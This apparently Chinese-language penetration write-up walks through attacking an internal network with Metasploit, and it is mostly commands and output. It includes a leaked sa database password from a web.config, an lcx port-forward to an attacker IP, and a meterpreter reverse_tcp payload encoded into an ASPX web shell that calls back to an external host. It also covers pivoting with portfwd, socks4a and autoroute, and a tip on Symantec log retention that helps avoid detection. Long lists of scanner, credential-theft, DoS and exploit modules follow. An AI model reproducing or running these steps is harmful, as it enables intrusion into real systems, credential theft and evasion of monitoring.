内网渗透 -- MSF综合利用

<add name="ttes*****_enConnectionString1" connectionString="Data Source=192.168.0.206;Initial Catalog=ttes*****_global;Persist Security Info=True;User ID=sa;Password=tt@12345" providerName="System.Data.SqlClient"/>

C:RECYCLERlcx.exe -slave 你的外网IP 51 192.168.0.206 3389

symantec endpoint protection Process：smc.exe，snac.exe，ccsvchst.exe，rtvscan.exesymantec endpoint protection 防御软件的风险日志默认只保存14天，进入服务器后可自行设置

内网环境，站库分离，web.config找到data(192.168.0.206)SA用户，成功添加管理员用户；Web(192.168.0.203) 、data(192.168.0.206)都安装了symantec，不能使用Lcx.exe等工具；测试了其他转发工具要么被拦截，要么无法用，而reDuh只能转发出当前203的，而且速度极慢；msfpayload生成的Exe文件也被查杀，服务器是X64，msfencode中也没有X64编码器，此路不通；

msfpayload windows/x64/meterpreter/reverse_tcp LHOST=113.***.*.238 LPORT=12345 R | msfencode -t aspx -o /media/sf_系统学习/test.aspx

root@box3:~# msfconsolemsf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.7msf exploit(handler) > set LPORT 12345msf exploit(handler) > exploit

meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.0.206[*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.0.206:3389
Usage: portfwd [-h] [add | delete | list | flush] [args]                     添加   删除    列表   刷新    参数
OPTIONS:    -h        Help banner.                                 // 帮助    -L <opt>  The local host to listen on (optional).      // 本地IP地址    -l <opt>  The local port to listen on.                 // 本地端口号    -r <opt>  The remote host to connect to.               // 远程IP地址    -p <opt>  The remote port to connect to.               // 远程端口号

msf auxiliary(socks4a) > use auxiliary/server/socks4amsf auxiliary(socks4a) > set SRVHOST 127.0.0.1msf auxiliary(socks4a) > run[*] Auxiliary module execution completedmsf auxiliary(socks4a) > [*] Starting the socks4a proxy server

root@box3:~# vi /etc/proxychains.conf

root@box3:~# proxychains msfconsole -qroot@box3:~# proxychains rdesktop 192.168.0.206

meterpreter > run get_local_subnetsLocal subnet: 192.168.0.0/255.255.255.0meterpreter > run autoroute -s 192.168.0.0/255.255.255.0[*] Adding a route to 192.168.0.0/...[+] Added route to 192.168.0.0/ via 59.***.**.66[*] Use the -p option to list all active routes
//1是sessions的会话id，route的时候别弄错了！msf exploit(handler) > route add 192.168.0.0 255.255.255.0 1
//查看当前活动的所有路由meterpreter > run autoroute -pmsf exploit(handler) > route print

msf exploit(handler) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > set RHOSTS 192.168.0.1-254msf auxiliary(tcp) > set PORTS 21,22,445,1433,3306,3389msf auxiliary(tcp) > set THREADS 50msf auxiliary(tcp) > exploit

auxiliary/scanner/portscan/tcpauxiliary/scanner/portscan/ackauxiliary/scanner/portscan/synauxiliary/scanner/ftp/ftp_versionauxiliary/scanner/ssh/ssh_versionauxiliary/scanner/smb/smb_versionauxiliary/scanner/dns/dns_ampauxiliary/scanner/http/titleauxiliary/scanner/http/http_versionauxiliary/scanner/telnet/telnet_versionauxiliary/scanner/mysql/mysql_versionauxiliary/scanner/postgres/postgres_versionauxiliary/scanner/netbios/nbnameauxiliary/scanner/netbios/nbname_probe    //已删除auxiliary/scanner/discovery/arp_sweepauxiliary/scanner/discovery/udp_probeauxiliary/scanner/discovery/udp_sweep[...SNIP...]

auxiliary/scanner/ftp/anonymousauxiliary/scanner/ftp/ftp_loginauxiliary/scanner/ssh/ssh_loginauxiliary/scanner/ssh/ssh_login_pubkeyauxiliary/dos/windows/ftp/filezilla_admin_userauxiliary/dos/windows/ftp/filezilla_server_portpost/windows/gather/credentials/flashfxppost/windows/gather/credentials/smartftppost/windows/gather/credentials/wsftp_clientpost/windows/gather/credentials/filezilla_serverpost/windows/gather/credentials/xshell_xftp_passwordpost/multi/gather/filezilla_client_credauxiliary/scanner/smb/smb_loginauxiliary/admin/smb/upload_fileexploit/windows/smb/psexecexploit/windows/smb/ms08_067_netapiauxiliary/scanner/smb/smb_ms17_010exploit/windows/smb/ms17_010_psexecauxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_eternalblueexploit/windows/smb/webexecauxiliary/admin/smb/webexec_commandauxiliary/scanner/smb/impacket/wmiexecauxiliary/admin/mysql/mysql_enumauxiliary/admin/mysql/mysql_sqlauxiliary/scanner/mysql/mysql_loginauxiliary/scanner/mysql/mysql_hashdumpexploit/windows/mysql/mysql_mofexploit/multi/mysql/mysql_udf_payloadauxiliary/admin/mssql/mssql_enumauxiliary/admin/mssql/mssql_execauxiliary/admin/mssql/mssql_sqlauxiliary/admin/mssql/mssql_escalate_dbownerauxiliary/scanner/mssql/mssql_pingauxiliary/scanner/mssql/mssql_loginauxiliary/scanner/mssql/mssql_hashdumpexploit/windows/mssql/mssql_clr_payloadexploit/windows/mssql/mssql_payloadexploit/windows/mssql/mssql_payload_sqlipost/windows/manage/enable_rdppost/windows/gather/enum_termservpost/windows/gather/credentials/mremoteauxiliary/scanner/rdp/ms12_020_checkauxiliary/dos/windows/rdp/ms12_020_maxchannelidsauxiliary/scanner/rdp/cve_2019_0708_bluekeepexploit/windows/rdp/cve_2019_0708_bluekeep_rceexploit/windows/rdp/rdp_doublepulsar_rce[...SNIP...]